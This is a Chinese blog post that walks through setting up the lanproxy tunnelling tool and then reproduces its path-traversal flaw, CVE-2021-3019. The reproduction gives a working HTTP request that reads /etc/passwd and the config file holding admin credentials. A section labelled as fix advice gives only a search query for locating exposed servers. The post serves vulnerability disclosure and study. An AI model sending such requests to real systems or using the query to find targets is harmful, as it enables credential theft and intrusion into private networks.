Lanproxy是一個將區域網個人電腦、伺服器代理到公網的內網穿透工具。

語言: CN / TW / HK

lanproxy配置過程

lanproxy是一個將區域網個人電腦、伺服器代理到公網的內網穿透工具,支援tcp流量轉發,可支援任何tcp上層協議,可用於訪問內網網站、本地支付介面除錯、ssh訪問、遠端桌面等等,而且帶有Web線上管理面板,新增埠配置十分簡單。目前市面上提供類似服務的有花生殼、TeamView、GoToMyCloud等等,但要使用第三方的公網伺服器就必須為第三方付費,並且這些服務都有各種各樣的限制,此外,由於資料包會流經第三方,因此對資料安全也是一大隱患。

我一直都在使用lanproxy工具進行內網穿透,但是在前兩天lanproxy卻爆了一個路徑遍歷漏洞(CVE-2021-3019)。該漏洞可以讀取伺服器上的任意檔案,甚至可以可直接獲取到lanproxy配置檔案,從而獲取內部網連線的憑據登入lanproxy管理後臺面板直接進入內網操縱內網主機。

該漏洞構造非常簡單,下面我將演示如何搭建lanproxy內網穿透,並進行該漏洞的復現。

lanproxy下載:

服務端配置

lanproxy的服務端應安裝在一個具有公網IP的伺服器上。

這裡我們直接下載釋出版。將下載的伺服器端程式的釋出包 proxy-server-0.1.zip 解壓後放置在公網vps上。然後進入到proxy-server-0.1/conf目錄編輯修改伺服器端配置檔案config.properties,config.properties的配置參考如下:

server.bind=0.0.0.0
​
#與代理客戶端通訊埠
server.port=4900
​
#ssl相關配置
server.ssl.enable=true
server.ssl.bind=0.0.0.0
server.ssl.port=4993
server.ssl.jksPath=test.jks
server.ssl.keyStorePassword=123456
server.ssl.keyManagerPassword=123456
​
#這個配置可以忽略
server.ssl.needsClientAuth=false
​
#WEB線上配置管理相關資訊
config.server.bind=0.0.0.0
config.server.port=8090
config.admin.username=admin  # WEB線上配置管理面板登入使用者名稱
config.admin.password=657260  # WEB線上配置管理面板登入密碼

配置完後執行lanproxy:

cd proxy-server-0.1/bin
chmod +x startup.sh
nohup ./startup.sh &

若公網伺服器為Windows系統,則只需執行startup.bat程式。

然後我們訪問vps的8090埠,使用上面配置中配置的使用者名稱admin和密碼657260進行登入即可進入lanproxy的WEB管理面板:

我們可以在新增客戶端選項中新增一個需要進行對映的內網主機,如下圖填寫客戶端名稱和隨機生成客戶端祕鑰後點擊提交即可新增一個客戶端:

這裡的客戶端金鑰在之後配置客戶端時會用到。

客戶端配置

客戶端下載我們同樣使用釋出包: https://seafile.cdjxt.net/d/2e81550ebdbd416c933f

客戶端一般安裝在一個內網的Linux伺服器或內網Windows電腦上。並且需要具備java1.7及以上的環境。

我們在內網客戶端Linux主機上下載lanproxy的客戶端程式 proxy-java-client-0.1.zip ,同樣還是進入到proxy-java-client-0.1/conf目錄編輯修改客戶端配置檔案config.properties,config.properties的配置參考如下:

#與在proxy-server配置後臺建立客戶端時填寫的祕鑰保持一致;
client.key=8dfeb0db68c2400a8c0d30395abb65e2
ssl.enable=true
ssl.jksPath=test.jks
ssl.keyStorePassword=123456
​
#這裡填寫實際的proxy-server地址;沒有伺服器預設即可,自己有伺服器的更換為自己的proxy-server(IP)地址
#server.host=lp.thingsglobal.org
server.host=47.xxx.xxx.72
​
#proxy-server ssl預設埠4993,預設普通埠4900
#ssl.enable=true時這裡填寫ssl埠,ssl.enable=false時這裡填寫普通埠
server.port=4993

配置完成後執行lanproxy客戶端:

cd proxy-java-client-0.1/bin
chmod +x startup.sh
nohup ./startup.sh &

如果客戶端是Windows系統,則直接雙擊bin目錄下的startup.bat即可。

此時,便可以在服務端控制面板的配置管理中對內網主機進行代理配置了:

如上圖所示,我們將內網主機Debian的22埠對映到了公網vps的2222埠上,也就是說我們訪問公網vps的2222埠就相當於訪問內網主機Debian的22埠。如下,我們通過公網vps的2222埠來通過ssh連線內網主機:

ssh [email protected] -p 2222

如上圖所示,連線成功。

漏洞復現

該漏洞可以讀取伺服器上的任意檔案,甚至可以可直接獲取到lanproxy配置檔案,從而獲取登入使用者名稱與密碼登入lanproxy管理後臺面板直接進入內網操縱內網主機。

影響版本

  • lanproxy 0.1

我們訪問lanproxy的控制面板,抓包並構造惡意請求,讀取目標主機上的任意檔案:

GET /../../../../../../../../../etc/passwd HTTP/1.1
Host: 47.xxx.xxx.72:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Connection: close

如上圖所示,讀取成功。

下面我們讀取lanproxy的config配置檔案:

/../conf/config.properties

如上圖所示,讀取成功。

我們利用讀取到的配置檔案中的使用者名稱和密碼,可直接在管理後臺進行登入,從而訪問內網,如下圖所示,成功登入:

修復建議

在fofa上用如下fofa語法搜尋暴露在公網上的lanproxy:

header= "Server: LPS-0.1"

如上圖所示,總共可以發現2029條資料。

Ending......

參考:

https://www.moerats.com/archives/727/

http://www.kekefund.com/2018/06/24/lanproxy/#2%EF%BC%8CJava%E5%AE%A2%E6%88%B7%E7%AB%AF%E9%85%8D%E7%BD%AE

http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202101-275

http://mp.weixin.qq.com/s?__biz=MzUyMTAyODYwNg==∣=2247489409&idx=1&sn=43c89f02920d6417c8dea45c437281a5&chksm=f9e00110ce978806b2183fa1f2ff26c1906a3eee4305e7de30e92718c60a802fcda26574b2c4&mpshare=1&scene=23&srcid=0111AQnphEMsg6crfeEOh5iv&sharer_sharetime=1610336571217&sharer_shareid=fb28a23f5efa30b40dcc9905f48f84bf#rd

分享到:
「其他文章」